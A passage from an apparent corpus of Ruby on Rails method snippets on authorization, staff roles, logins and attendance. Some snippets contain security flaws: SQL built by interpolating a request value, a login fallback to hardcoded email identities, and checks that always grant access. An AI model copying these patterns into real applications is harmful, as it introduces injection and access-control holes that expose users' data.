records\n can :manage, Role, # Can manage roles for current agency\n resource_id: user.staff_agency.id\n\n # Transportation Admin Permissions\n if user.transportation_admin?\n\n can :manage, TravelPattern, agency_id: user.staff_agency.try(:id)\n can :manage, LandmarkSet, agency_id: user.staff_agency.try(:id)\n can :manage, OdZone, agency_id: user.staff_agency.try(:id)\n can :manage, ServiceSchedule, agency_id: user.staff_agency.try(:id)\n can :manage, Purpose, agency_id: user.staff_agency.try(:id)\n can :manage, FundingSource, agency_id: user.staff_agency.try(:id)\n can :manage, BookingWindow, agency_id: user.staff_agency.try(:id)\n\n # Can access services associated with an oversight agency, and those with no oversight agency\n can :manage, Service,\n id: user.staff_agency.services.pluck(:id).concat(Service.no_agencies_assigned.pluck(:id)) # Can access services associated with the users transportation agency\n end\n\n # Oversight Admin Permissions\n if false && user.oversight_admin? # Can manage Transportation Agencies assigned to the user's Oveersight Agency\n can :manage, TravelPattern,\n agency_id: user.staff_agency.agency_oversight_agency.pluck(:transportation_agency_id).concat([user.staff_agency.id])\n can :manage, Agency,\n id: user.staff_agency.agency_oversight_agency.pluck(:transportation_agency_id).concat([user.staff_agency.id])\n can :create, Agency\n can :manage, LandmarkSet,\n agency_id: user.staff_agency.agency_oversight_agency.pluck(:transportation_agency_id).concat([user.staff_agency.id])\n can :manage, OdZone,\n agency_id: user.staff_agency.agency_oversight_agency.pluck(:transportation_agency_id).concat([user.staff_agency.id])\n can :manage, ServiceSchedule,\n agency_id: user.staff_agency.agency_oversight_agency.pluck(:transportation_agency_id).concat([user.staff_agency.id])\n can :manage, Purpose,\n agency_id: user.staff_agency.agency_oversight_agency.pluck(:transportation_agency_id).concat([user.staff_agency.id])\n can :manage, FundingSource,\n agency_id: user.staff_agency.agency_oversight_agency.pluck(:transportation_agency_id).concat([user.staff_agency.id])\n can :manage, BookingWindow,\n agency_id: user.staff_agency.agency_oversight_agency.pluck(:transportation_agency_id).concat([user.staff_agency.id])\n can :manage, Service,\n id: user.get_services_for_oversight.pluck(:id).concat(Service.no_agencies_assigned.pluck(:id)) # Can access services associated with an oversight agency, and those with no oversight agency\n can :manage, Role # Can manage Roles\n # Mapping related permissions\n can :manage, GeographyRecord # Can manage geography records\n\n # Oversight Admins cannot manage superusers\n cannot :manage, User, # Cannot manage superusers\n id: User.all.superuser.pluck(:id)\n cannot :manage, Role, # Cannot manage superuser Roles\n id: Role.find_by(name: :superuser)\n end\n end # end admin\n\n ### SUPERUSER PERMISSIONS ###\n if user.superuser? || user.oversight_admin?\n can :manage, :all # Can perform all actions on all models\n end\n\n\n end",
"def custom_permissions\n\n campus = \"bakersfield\" if current_user.email.include?(\"bakersfield.edu\")\n campus = \"chancellor\" if current_user.email.include?(\"calstate.edu\")\n campus = \"channel\" if current_user.email.include?(\"ci.edu\")\n campus = \"chico\" if current_user.email.include?(\"chico.edu\")\n campus = \"dominguez\" if current_user.email.include?(\"dh.edu\")\n campus = \"eastbay\" if current_user.email.include?(\"eb.edu\")\n campus = \"fresno\" if current_user.email.include?(\"fresno.edu\")\n campus = \"fullerton\" if current_user.email.include?(\"fullerton.edu\")\n campus = \"humboldt\" if current_user.email.include?(\"humboldt.edu\")\n campus = \"longbeach\" if current_user.email.include?(\"lb.edu\")\n campus = \"losangeles\" if current_user.email.include?(\"la.edu\")\n campus = \"maritime\" if current_user.email.include?(\"maritime.edu\")\n campus = \"mlml\" if current_user.email.include?(\"mlml.edu\")\n campus = \"northridge\" if current_user.email.include?(\"northridge.edu\")\n campus = \"pomona\" if current_user.email.include?(\"bronco.edu\")\n campus = \"sacramento\" if current_user.email.include?(\"sacramento.edu\")\n campus = \"sanfrancisco\" if current_user.email.include?(\"sf.edu\")\n campus = \"sanmarcos\" if current_user.email.include?(\"sanmarcos.edu\")\n campus = \"sonoma\" if current_user.email.include?(\"sonoma.edu\")\n campus = \"stanislaus\" if current_user.email.include?(\"stanislaus.edu\")\n\n user_groups.push(campus)\n\n # admin\n if current_user.admin?\n can [:create, :show, :add_user, :remove_user, :index, :edit, :update, :destroy], Role\n end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def set_attendance\r\n @attendance = Attendance.find(params[:id])\r\n authorize @attendance\r\n end",
"def staff?\n if self.role and self.role < 4 \n true\n end\n end",
"def staff_profile\n staff.id == record.id\n end",
"def show\n @attendance = Attendance.find(params[:id])\n if current_user.employee? && (@attendance.user.id != current_user.id)\n redirect_to attendances_url, notice: \"You're not authorized to check attendance of #{@attendance.user.first_name} #{@attendance.user.last_name}.\"\n end\n end",
"def staff_logged_in!\n return if current_staff.present?\n \n flash[:alert] = \"You must be signed in as a staff\"\n redirect_to login_url\n end",
"def staff?\n has_role? :staff, :any\n end",
"def staff?\n self.role.role_type == \"staff\"\n end",
"def staff?\n true\n end",
"def access_control\n \n end",
"def staff?\n STAFF_ROLES.include?(CourseUser.roles[role.to_sym])\n end",
"def registered_adult(user)\n # TENANT\n can :manage, Tenant do |t|\n t.organisers.include? user\n end\n\n can :read_reports, Tenant do |t|\n # TODO: put per tenant shit here (prob by checking tenant config)\n can? :manage, t\n end\n\n can :read_dashboard, Tenant do |t|\n # TODO: put per tenant shit here (prob by checking tenant config)\n can? :manage, t\n end\n\n can :create_tenanted_league, Tenant do |t|\n # TODO: put per tenant shit here (prob by checking tenant config)\n can? :manage, t\n end\n\n can :manage_leagues do |t|\n # TODO: put per tenant shit here (prob by checking tenant config)\n can? :manage, t\n end\n\n can :manage_teams, Tenant do |t|\n # TODO: put per tenant shit here (prob by checking tenant config)\n can? :manage, t\n end\n\n # LEAGUE\n can :manage, League do |l|\n l.has_organiser?(user) || can?(:manage_leagues, l.tenant)\n end\n \n # DIVISION\n can :manage, DivisionSeason do |div|\n can? :manage, div.league\n end\n\n can :read_unpublished, DivisionSeason do |div|\n can? :manage, div.league\n end\n\n can :add_team, DivisionSeason do |ds|\n ds.config.applications_open\n end\n\n # FIXTURE\n can :manage, Fixture do |fx|\n can? :manage, fx.division_season\n end\n\n # RESULT\n can :update, Result do |r|\n can? :manage, r.fixture\n end\n\n # POINTS\n can :update, Points do |p|\n can? :manage, p.fixture\n end\n\n can :update, User do |user_check|\n\n can_update = false\n\n if (user == user_check || can?(:act_on_behalf_of, user_check) || admin_of_users_league?(user, user_check))\n can_update = true\n\n elsif user_check.role?(RoleEnum::INVITED)\n #SR - there is a problem in that a user could be invited dto multiple teams and an organiser could update\n #their details and the update would be seen across all teams!\n can_update = (user_check.team_roles.map(&:obj_id) & user.teams_as_organiser_ids).count > 0\n end\n\n can_update\n end\n\n can :update, DemoUser do |user_check|\n user == user_check \n end \n\n # TEAM\n can :create, Team\n\n can :create_o2_touch_team, Team do |team|\n # true\n user.teams_as_organiser.select{|t| t.tenant_id == TenantEnum::O2_TOUCH_ID }.count > 0\n end\n\n can :create_mitoo_team, Team\n\n can :create_alien_team, Team do |team|\n false\n end\n\n can :create_soccer_sixes_team, Team do |team|\n false\n end\n\n can :update, Team do |team|\n team.has_organiser?(user)\n end\n\n # including creating events\n can :manage, Team do |team|\n # nil check, so we can chain the abilites together, without nil checks everywhere\n team != nil && (team.has_organiser?(user) || can?(:manage_teams, team.tenant))\n end\n\n can :manage_roster, Team do |team|\n # change LMR settings to use new config # need a better method name here...\n can?(:manage, team) || (team.league_managed_roster? && team.user_is_primary_league_admin?(user)) \n end\n\n can :add_follower, Team do |team|\n team.config.team_followable && team.has_associate?(user)\n end\n\n can :become_faft_organiser, Team do |team|\n team.faft_team? && team.organisers.count == 0 && team.has_follower?(user)\n end\n\n can :delete, PolyRole do |poly_role|\n if poly_role.obj.is_a? Team\n if poly_role.user_id == user.id\n poly_role.role_id == PolyRole::FOLLOWER\n else\n can? :manage_roster, poly_role.obj #team\n end\n else\n false\n end\n end\n\n can :create_message, Team do |team|\n team.has_active_member?(user)\n end\n\n can :view_public_profile, Team do |team|\n team.has_follower?(user)\n end\n\n # EVENT\n can :create, Event if user.teams_as_organiser.count > 0\n\n # nb. This ability duplicated (for app speed) in event_json_helper.rb, so make\n # any edits there aswell! TS.\n can :manage_event, Event do |event|\n # organiser, or registered team organiser\n if !event.fixture.nil?\n false #abitshit ie. won't work once fixtures are used outside of leagues. TS\n else\n event.user_id == user.id || can?(:manage, event.team)\n end\n end\n\n can :manage_event, DemoEvent do |event|\n # organiser, or registered team organiser\n event.user_id == user.id || can?(:manage, event.team)\n end\n \n can :send_invites, Event do |event|\n # registered event or team organiser\n event.user_id == user.id || can?(:manage, event.team)\n end\n \n can :create_message, Event do |event|\n # organiser, or registered player\n # TODO: generalise this set of perms (and refactor to check user has role on team)\n #event.team.has_associate?(user) &&\n (event.user_id == user.id || event.is_invited?(user) || user.child_invited_to?(event) || can?(:manage, event.team))\n end\n\n can :create_message, DivisionSeason do |div|\n # TODO: This is very slow\n div.league.has_organiser? user\n end\n\n # ACTIVITY ITEM COMMENTS AND LIKES\n can :comment, EventMessage do |message| \n # if this implementation changes then a test is required\n if message.messageable.is_a? Team \n team = message.messageable\n team.has_active_member?(user)\n elsif message.messageable.is_a? Event\n can? :create_message, message.messageable\n end \n end\n\n can :like, EventMessage do |message| \n # if this implementation changes then a test is required\n can? :comment, message\n end\n\n can :comment, EventResult do |event_result|\n # if this implementation changes then a test is required\n can? :create_message, event_result.event \n end\n can :like, EventResult do |event_result|\n # if this implementation changes then a test is required\n can? :create_message, event_result.event \n end\n\n #SR - NEED TO FIX ALL OF THIS\n can [:like, :comment], [InviteResponse, InviteReminder] do |obj|\n #obj.teamsheet_entry.event.team.has_active_member?(user)\n true\n end\n \n can [:like, :comment], Event do |event|\n #event.team.has_active_member?(user)\n true\n end\n\n can [:like, :comment], TeamsheetEntry do |tse|\n #tse.event.team.has_active_member?(user)\n true\n end\n\n can :destroy, ActivityItemLike do |like|\n user == like.user\n end\n\n can :update, ActivityItem do |ai|\n #Currently we can only update EventMessage items. \n #Premissions around ActivityItem objs are a bit tricky however for now\n #it makes sense to check if the current user can update the 'obj'.\n\n if ai.obj_type == EventMessage.name\n #SR We want to check that the user can manage a team but I am not going to implement,\n #this check until we have a nice way to extract this information. \n #I am currently checking in or manage team directly in the controller\n else\n false\n end\n end\n end",
"def user_patient\n if current_user.role!=\"Patient\"\n flash[:info]=\"Sorry You are not allowed to book appointment.\"\n redirect_to user_path(current_user)\n end\nend",
"def teaching_staff?\n TEACHING_STAFF_ROLES.include?(CourseUser.roles[role.to_sym])\n end",
"def limit_to_staff\n authenticate_user!\n unless current_user.admin?\n raise ActionController::RoutingError.new('Not Found')\n end\n end",
"def can_use_leo?\n faculty?\n end",
"def staff_member?\n admin? || staff?\n end",
"def are_you_staff_member?\n if session[:staff_id]\n @current_staff = StaffMember.find_by(id: session[:staff_id])\n else\n redirect_to :staff_login\n end\n end",
"def is_staff?\n can_manage_course? ||\n can_manage_assignments? ||\n can_grade_submissions? ||\n can_view_other_submissions?\n end",
"def validate_password? \n self.new_record? && self.staff?\n end",
"def authenticate_admin_hr_pm\n unless current_user && (get_loging_permission ==1 || get_loging_permission ==2 || get_loging_permission ==3)\n redirect_to sign_in_path\n return \n end\n end",
"def authorization; end",
"def initialize(user)\n\n # Anyone\n allow :sessions, [:new, :create, :destroy]\n allow :circles, :index\n allow :decisions, [:all, :review]\n allow :circle_decisions, :index\n allow :password_resets, [:index, :create, :new, :edit, :update, :show, :destroy]\n\n # If They're logged in\n if user\n allow :users, :show do |user_record|\n user_record == user\n end\n\n # If they're logged in as a super\n if super?(user)\n allow :users, [:index]\n allow [:users, :decisions], [:new, :create, :edit, :update, :destroy]\n allow :circles, [:new, :create, :edit, :update]\n allow :circles, :destroy do |circle|\n circle_has_no_decisions?(circle)\n end\n\n # If they're logged in as a leader\n else\n allow :decisions, :new\n allow :decisions, :create # TODO: Find way to prevent users unassociated with the decisions circles to create decisions. For now, the view only allows them to select associated circles\n allow :decisions, [:edit, :update, :destroy] do |decision|\n circles_user_involved_in = []\n Circle.all.each do |circle|\n role = Role.find_by(circle: circle, user: user)\n unless role.role_type == \"none\"\n circles_user_involved_in.push(circle)\n end\n end\n decision.circle.in?(circles_user_involved_in)\n end\n allow :users, [:edit, :update] do |user_record|\n user_record == user\n end\n allow :users, :destroy do |user_record|\n user_record == user\n end\n end\n end\n end",
"def rollcall_student_required\n if current_user.is_rollcall_epi? || current_user.is_rollcall_health_officer? || current_user.is_rollcall_nurse? ||\n current_user.is_rollcall_admin?\n return true\n else\n redirect_to :action => \"unauthorized\", :controller => 'rollcall/rollcall_app'\n return false\n end\n end",
"def user_verification; end",
"def firewall\n @useredit=User.find_by_wedgetail(params[:wedgetail])\n authorize_only (:patient) {@useredit.wedgetail == @user.wedgetail} # everyone can only edit themselves\n authorize :admin # apart from admin\n @currentlist=User.find(:all,:conditions=>[\"firewalls.patient_wedgetail='#{@useredit.wedgetail}'\"],:joins=>\"inner join firewalls on users.wedgetail=firewalls.user_wedgetail\")\n if ! params.has_key? :show or params[:show]==\"Team\"\n @search_type=\"Team\"\n @next_search=\"Individual\"\n @allusers=User.find(:all,:conditions=>[\"role=6\"])\n else\n @search_type=\"Individual\"\n @next_search=\"Team\"\n @allusers=User.find(:all,:conditions=>[\"role=3 or role=4\"])\n end\n @listname=\"greylist\"\n @listname=\"blacklist\" if @useredit.access==2\n @listname=\"whitelist\" if @useredit.access==3\n end",
"def create\n\t\t#get the user info\n\t\t\n\t\tauth = request.env[\"omniauth.auth\"]\n\t\tif auth == nil and \n\t\t\tif session[:temp] == true\n\t\t\t auth = {:info => {:email => \"jkoshakow@wesleyan.edu\"} }\n\t\t\telse\n\t\t\t auth = {:info => {:email => \"koshy44@gmail.com\"} }\t\n\t\t\tend\n\t\tend\n\t\t#whitelist \n\t\tif auth[:info][:email].to_s =~ /.+@wesleyan.edu/\n\t\t\tuser = User.find_by_uid(auth[\"uid\"]) || User.createUser(auth)\n\t\t\tsession[:user_id] = user.id \n\t\t\tsession[:admin] = user.admin\n\t\t\tsession[:authenticated] = true\n\t\t\tredirect_to links_path\n\t\telse\n\t\t\tsession[:authenticated] = false\n\t\t\tsession[:error] = \"Must have a wesleyan email address\"\n\t\t\tredirect_to root_path\n\t\tend\t\n\tend",
"def set_auto_attendance\n @event = Event.find_by_id(params[:event_id].to_i)\n if @event\n current_auto_attenders = EventAutoAttendance.where(\"event_id = ?\", params[:event_id]).map(&:user_id) if params[:discord_user_ids].count > 0\n # iterate through each user\n params[:discord_user_ids].each do |discord_id|\n # check to see if there already is a record\n discord_identity = DiscordIdentity.find_by discord_id: discord_id\n if discord_identity\n if !current_auto_attenders.include? discord_identity.user_id\n eaa = EventAutoAttendance.new(event_id: params[:event_id], user_id: discord_identity.user_id)\n if !eaa.save\n raise \"Could not save auto-attendance because: #{eaa.errors.full_messages.to_sentence}\"\n end\n end\n end\n end\n\n render status: 200, json: { message: 'Auto attendance completed!' }\n else\n render status: 404, json: { message: 'Event not found.' }\n end\n end",
"def show\n authorize @staff_request\n end",
"def create_user_information # for new users. runs last according to rails.\n self.dj_name = name\n self.roles = Role.where(:title => 'noob')\n self.active = true\n set_password\n end",
"def certify_event_attendence\n @event = Event.find_by_id(params[:event_id].to_i)\n if @event != nil && !@event.submitted_for_certification\n if @event.is_expired\n\n # the auto attendance array\n auto_attendance = []\n\n # populate auto attendance array and mark auto attendances as processed\n EventAutoAttendance.where(event_id: params[:event_id].to_i, processed: false).each do |auto| # .map(&:user_id)\n # add the id to the array\n auto_attendance << auto.user_id\n\n # processed\n auto.processed = true\n auto.save\n end\n\n # check to see if any records have been processed if this is the case set the boolean\n processing_done = true if EventAutoAttendance.where(event_id: params[:event_id].to_i, processed: true).count > 0\n\n # array of all current attendees\n attender_ids = []\n\n # loop through the current attendances and..\n # 1. Get their user.id into the attender_ids array\n # 2. Adjust the user's attendance type/status based on the auto attendance\n Attendence.where(event_id: params[:event_id]).each do |attendance| # .map(&:user_id)\n # add the list to the attender_ids\n attender_ids << attendance.user_id\n\n # set the attendance for the current attendees based on the auto attendance if they have a valid discord_identity\n if attendance.user.discord_identity && !processing_done\n # are the in the attendance list?\n if auto_attendance.include? attendance.user_id\n attendance.attendence_type_id = 1 # attending\n else\n attendance.attendence_type_id = 2 # not attending\n end\n\n # save the modified attendance record\n attendance.save\n end\n end\n\n # get all of the users not in the `attendance` table id list\n users = Role.find_by_id(0).role_full_users.filter { |user| !attender_ids.include? user.id }\n\n # interate through the list and assign negative attendance unless they are present in the auto attendance table\n users.each do |user|\n # if the user exists in the auto attendance for the event the mark as attending\n # this is in case they didn't say either way but Discord knows they showed up\n if auto_attendance.include? user.id\n attendence_type_id = 1\n else\n attendence_type_id = 2\n end\n\n # create the new attendance\n attendence = Attendence.new(event_id: params[:event_id].to_i,\n user_id: user.id,\n character_id: user.main_character.id,\n attendence_type_id: attendence_type_id)\n attendence.save\n end\n\n # then we reload the event to get the attendences\n @event = Event.find_by_id(params[:event_id].to_i)\n\n # return attendances\n render status: 200, json: @event.attendences.as_json(include: { character: { methods: [:full_name] }})\n else\n render status: 403, json: { message: 'Event end time has not expired. You can not certify an event until after it has concluded.' }\n end\n else\n render status: 404, json: { message: 'Event not found. It may have been removed.' }\n end\n end",
"def dashboard\n if user_signed_in?\n @user = current_user\n else\n redirect_to '/'\n return\n end\n\n offset = current_user.timezone_offset\n offset ||= 8\n\n if @user.role_id == 2 \n @userlessons = Lesson.where(\"teacher_id = ? AND starts_at > ? AND student_id IS NOT NULL\", @user.id, ((Time.now.utc + offset.hours).beginning_of_day - 1.hour - offset.hours)).order(starts_at: :asc)\n else\n @userlessons = Lesson.where(\"student_id = ? AND starts_at > ? AND teacher_id IS NOT NULL\", @user.id, ((Time.now.utc + offset.hours).beginning_of_day - 1.hour - offset.hours)).order(starts_at: :asc)\n end\n \n \n if @userlessons.size == 0 && @user.lesson_count == 0\n @count = 0\n else\n @count = @userlessons.size.to_f\n @total = @user.lesson_count \n end\n\n render \"show\"\n end",
"def is_staff\n if current_user.role < 4\n return true || false\n end\n end",
"def user; end",
"def user; end",
"def require_admin \n if Affiliate.find(session[:id]).email != \"tech@trunkclub.com\"\n redirect_to root_url, :notice => 'Must be admin.'\n end\n end",
"def require_student\n redirect_to root_path unless @auth_user && @auth_user.type == 'Student'\n end",
"def authenticate_admin_hr\n unless current_user && (get_loging_permission !=1 || get_loging_permission !=2)\n redirect_to sign_in_path\n return \n end\n end",
"def index\n if current_user && current_user.is_admin? && params_user_id\n @events = User.find(params_user_id).events.where(is_validated:true)\n elsif params_user_id && params_user_id.to_i == current_user.id\n @events = current_user.events.where(is_validated:true)\n elsif params_user_id && params_user_id.to_i != current_user.id \n redirect_to root_path\n else\n @events= Event.where(is_validated:true)\n end\n end",
"def set_pstaff\n # if(current_user.phase1 == false && current_user.phase2 == false && current_user.phase3 == false)\n @pstaff = Pstaff.find(params[:id])\n # else\n # redirect_to new_user_session_path\n # end\n \n end",
"def create\n if (User.find_by school_id: params[:user][:school_id])\n @user = User.find_by school_id: params[:user][:school_id]\n @user.update_attributes(user_params)\n else\n @user = User.new(user_params)\n end\n if @user.save\n\n if @user.role != TEACHER\n @member = Member.new\n @member.user_id = @user.id\n @member.project_id = session[:selected_project_id]\n @member.section_number = params[:section_number]\n @member.is_enabled = true\n @member.save\n redirect_to users_path, notice: @user.first_name + \" \" + @user.last_name + ' was successfully created and added to this section.' \n else\n redirect_to users_teachers_path, notice: @user.first_name + \" \" + @user.last_name + ' was successfully created and added to the teacher roster.'\n end\n else\n render action: 'new' \n end \n end",
"def attendeds\r\n @user = User.find(params[:id])\r\n @name = \"#{@user.name[0].upcase}#{@user.name[1..-1]}\"\r\n if @user == current_user\r\n @title = \"Events You Are Attending\"\r\n else\r\n @title = \"Events #{@name.split[0]} Is Attending\"\r\n end\r\n # @event = Event.find(params[:id])\r\n @events = @user.attended_events.paginate(page: params[:page], per_page: 25)\r\n render 'show_attending'\r\n end",
"def create\n super\n # Expire.create{|expire|\n # expire.time = Time.now\n # expire.user_id = current_user\n #\n # }\n #登录后检查上一次登录是否退出。在这里可以添加代码,监视用户是否同时在多个设备登录。\n last_onboard = Onboard.where(user_id: current_user.id).last\n if last_onboard\n unless last_onboard.end_at\n last_onboard.update(end_at: Time.now)\n # 下面这一行代码可以阻止用户同时在多个设备上登录:\n # last_onboard.update(end_at: Time.now, expire_at: Time.now)\n a_time = current_user.active_time - (Time.now - current_user.current_sign_in_at)\n if a_time < 0\n current_user.active_time = 0\n else \n current_user.active_time = a_time\n end\n current_user.save\n end\n end\n # 创建新的登录记录\n onboard = Onboard.new{ |o|\n o.user_id = current_user.id\n o.begin_at = Time.now \n o.expire_at = Time.now + current_user.active_time\n o.remote_ip = request.remote_ip\n o.http_user_agent = request.env['HTTP_USER_AGENT']\n }\n onboard.save\n flash[:notice] << \"您上次登录时间为#{last_onboard.begin_at}。如果您并没有在时间登录,请与系统管理员联系!\" if last_onboard\n end",
"def verify_staff(test_data)\n staff = test_data[UseOfCollections::STAFF_GRP.name] || [UseOfCollections.empty_staff]\n staff.each_with_index do |staf, index|\n verify_values_match(staf[UseOfCollections::STAFF_NAME.name], element_value(staff_name_input index))\n verify_values_match(staf[UseOfCollections::STAFF_ROLE.name], element_value(staff_role_input index))\n verify_values_match(staf[UseOfCollections::STAFF_HOURS_SPENT.name], element_value(staff_hours_spent_input index))\n verify_values_match(staf[UseOfCollections::STAFF_NOTE.name], element_value(staff_note_input index))\n end\n end",
"def audit\n @patient=User.find_by_wedgetail(params[:wedgetail],:order =>\"created_at DESC\")\n authorize_only (:patient) {@patient.wedgetail == @user.wedgetail}\n authorize :user\n @audits = Audit.paginate(:page => params[:page],:per_page => 60, :order => 'created_at DESC', :conditions => [\"patient=?\", params[:wedgetail]])\n end",
"def authorized_for_making_adj\n @tournament = Tournament.find(params[:id]);\n hasAuthority = (current_user.is_a_tabbie?(@tournament) ||\n \n ((@tournament.tournament_setting[:registration] == \n GlobalConstants::SETTINGS_VALUES[:registration][\"Completely open\"]) &&\n (safe_params[:email] == current_user.email)) ||\n \n (current_user.has_exec_position?([:president, :externals]) &&\n (@tournament.tournament_setting[:registration] != \n GlobalConstants::SETTINGS_VALUES[:registration][\"Manual\"]) &&\n !@tournament.has_maxed_out_adjs(current_user.institution)));\n redirect_to root_path unless hasAuthority;\n end",
"def require_student_or_instructor\n redirect_to root_path unless @auth_user && ['Student', 'Instructor'].include?(@auth_user.type)\n end",
"def educational_attainment; end",
"def ensure_at_williams\n forbidden \"You are not logged in as a current student or faculty/staff member.\" unless at_williams?\n end",
"def user_access_create\n check_user_access(params[:user_id])\n end",
"def user_access_create\n check_user_access(params[:user_id])\n end",
"def auth_param; end",
"def firebase\n user, learner, teacher = handle_initial_auth\n\n raise StandardError, \"Missing firebase_app parameter\" if params[:firebase_app].blank?\n\n # Firebase auth rules expect all the claims to be in a sub-object named \"claims\".\n # All the new properties should go there. Other apps can still read them.\n sub_claims = {\n platform_id: APP_CONFIG[:site_url],\n platform_user_id: user.id,\n user_id: jwt_user_id(user)\n }\n claims = {\n claims: sub_claims\n }\n\n if learner\n offering = learner.offering\n\n sub_claims.merge!({\n user_type: \"learner\",\n class_hash: offering.clazz.class_hash,\n offering_id: offering.id\n })\n\n # Depreciated, used by some CC client apps. Do not add more data here, you should\n # add it to sub_claims so the Firebase auth rules can read the properties.\n claims.merge!({\n domain: root_url,\n externalId: learner.id,\n returnUrl: learner.remote_endpoint_url,\n logging: offering.clazz.logging || offering.runnable.logging,\n domain_uid: user.id,\n class_info_url: offering.clazz.class_info_url(request.protocol, request.host_with_port)\n })\n elsif teacher\n\n # add a class_hash claim if a class_hash or resource_link_id param is present\n class_hash = nil\n if params[:class_hash].present?\n # verify the optional passed class_hash is valid\n class_hashes = teacher.clazzes.map {|c| c.class_hash}\n if !class_hashes.include? params[:class_hash]\n raise StandardError, \"Teacher does not have a class with the requested class_hash\"\n end\n class_hash = params[:class_hash]\n elsif params[:resource_link_id].present?\n # The resource_link_id param was already verified in the handle_initial_auth method\n offering = Portal::Offering.find(params[:resource_link_id])\n class_hash = offering.clazz.class_hash\n end\n\n sub_claims.merge!({\n user_type: \"teacher\",\n class_hash: class_hash,\n # The offering_id is not added to the claims because we don't want to restrict the\n # teacher to just this one offering.\n })\n\n # Depreciated, used by some CC client apps. Do not add more data here, you should\n # add it to sub_claims so the Firebase auth rules can read the properties.\n claims.merge!({\n domain: root_url,\n domain_uid: user.id,\n })\n else\n\n sub_claims.merge!({\n user_type: \"user\",\n })\n\n resource_link_id = params[:resource_link_id]\n target_user_id = params[:target_user_id]\n\n # The resource_link_id and target_user_id params were already verified in the\n # handle_initial_auth method\n # If resource_link_id is set but target_user_id is not, the handle_initial_auth will \n # raise an exception\n if resource_link_id && target_user_id\n\n offering = Portal::Offering.find(resource_link_id)\n class_hash = offering.clazz.class_hash\n sub_claims.merge!({\n class_hash: class_hash,\n offering_id: offering.id,\n # Any systems granting access based on this target_user_id claim should scope it to the\n # class_hash and or offering_id so the main user doesn't gain access to all of the target user's\n # data. Our policies don't always restrict access like this, but they should when possible.\n target_user_id: target_user_id.to_i\n })\n end\n\n end\n\n # the firebase uid must be between 1-36 characters and unique across all portals, MD5 yields a 32 byte string\n uid = Digest::MD5.hexdigest(jwt_user_id(user))\n\n render status: 201, json: {token: SignedJWT::create_firebase_token(uid, params[:firebase_app], 3600, claims)}\n end",
"def set_exam\n\t\t\t@exam = Exam.find(params[:id])\n\t\t\tif @exam.user_id != current_user.id\n\t\t\t\tDevise::FailureApp\n\t\t\tend\n\t\tend",
"def teacher_admin\n force_signin unless current_clazz.is_teacher?(current_visitor) || current_visitor.has_role?('admin')\n end",
"def verify_access\n unless current_user.id == @worker.user_id\n flash[:warning] = \"You do not have authority to access that.\"\n redirect_to user_path(current_user.id)\n end\n end",
"def index\n @authoriziedstaffs = Authorizedstaff.all\n end",
"def index\n @attendance_others = current_user.attendan_others\n end",
"def auth\n end",
"def auth\n end",
"def attend\n # update user_fun.is_attend\n user_fun = UserFun.find(params[:user_fun_id])\n user_fun.update_attribute(:is_attend, 1)\n\n # save user_point\n user_point = UserPoint.new\n user_point.add_point(current_user.id, 30000, 'fun')\n \n # save team_point \n team_point = TeamPoint.new\n team = Team.find_by_user1(current_user.id)\n team_point.add_point(team.id, 30000)\n\n redirect_to '/users/home'\n end",
"def lecture_period\n @event = Event.first\n if (@event.activity_begin_day < DateTime.now && DateTime.now < @event.activity_end_day) || !current_user.adm?\n redirect_to lectures_path\n flash[:info] = \"Palestra nao disponivel!\"\n end\n end",
"def prepare_faculty\n unless @user.has_role?('university_secretary')\n @faculty = @user.person.faculty\n end\n end",
"def check_is_staff_member!\n if email_changed? && blocked_as_staff_member == nil\n Rails.logger.info(\"CHECK_IS_STAFF_MEMBER\")\n # email will match on any casing in staff_members table as email column is citext\n if matching_staff_members.any?\n self.blocked_as_staff_member = true\n end\n end\n end",
"def auth_methods; end",
"def verify_staff(test_data)\n staff = test_data[CoreUseOfCollectionsData::STAFF_GRP.name] || [CoreUseOfCollectionsData.empty_staff]\n staff.each_with_index do |staf, index|\n verify_values_match(staf[CoreUseOfCollectionsData::STAFF_NAME.name], element_value(staff_name_input index))\n verify_values_match(staf[CoreUseOfCollectionsData::STAFF_ROLE.name], element_value(staff_role_input index))\n verify_values_match(staf[CoreUseOfCollectionsData::STAFF_HOURS_SPENT.name], element_value(staff_hours_spent_input index))\n verify_values_match(staf[CoreUseOfCollectionsData::STAFF_NOTE.name], element_value(staff_note_input index))\n end\n end",
"def lawyer_details(notes)\n @allowed_ids=[]\n lawyer = Employee.find_by_user_id(notes.assigned_by_employee_user_id, :include => [:company => :employees])\n lawyer.company.employees.each do |employee|\n @allowed_ids << employee.user_id\n end\n end",
"def show\n if current_user.role_id == 4\n if current_user.notification_id != 0 \n @notifications = Homework.all.order(\"created_at DESC\")\n @alert_check = Homework.last.id\n @admin = true\n end \n else \n if current_user.notification_id != 0 \n @notifications = Assignment.where(user_id: current_user.id).order(\"created_at DESC\")\n @alert_check = Assignment.where(user_id: current_user.id).last.id\n @admin = false\n end \n end\n end",
"def valid_auth\n if @user.auth == 0\n flash[:warning] = \"Your can not create Team\"\n redirect_to :action => \"index\"\n end\n end",
"def require_student_or_admin\n redirect_to root_path unless @auth_user && ['Student', 'Admin'].include?(@auth_user.type)\n end",
"def show\n @user = User.find(params[:id])\n can_edit_hash = Permissions.currentLoggedInOrHasMorePermissions(@current_user,@user)\n @can_edit = can_edit_hash[:has_permission]\n\n #max needs\n @can_see_pref= Permissions.is_at_least_manager(@current_user)\n\n profile_attrs = [:first_name,:last_name, :email,:phone_number]\n @first_name = @user.first_name\n @last_name = @user.last_name\n @email = @user.email\n @phone_number = @user.phone_number\n @role = @user.role\n end",
"def verified_lawyer #(userid)\n #$employee_id = userid\n $employee_id = self.id\n end",
"def check_access\n result = false\n if current_user.is_a? Admin\n result = true\n elsif !@template_day.nil?\n result = @template_day.patient.dietician.id == current_user.id\n elsif !@patient.nil?\n result = @patient.id == current_user.id or @patient.dietician.id == current_user.id\n end\n unless result\n redirect_to root_path, alert: \"Brak dostępu!\"\n end\n end",
"def attendee; User.get(self.attendee_id) || Lead.get(self.attendee_id) || Account.get(self.attendee_id) || Contact.get(self.attendee_id) || Opportunity.get(self.attendee_id); end",
"def auth(value); end",
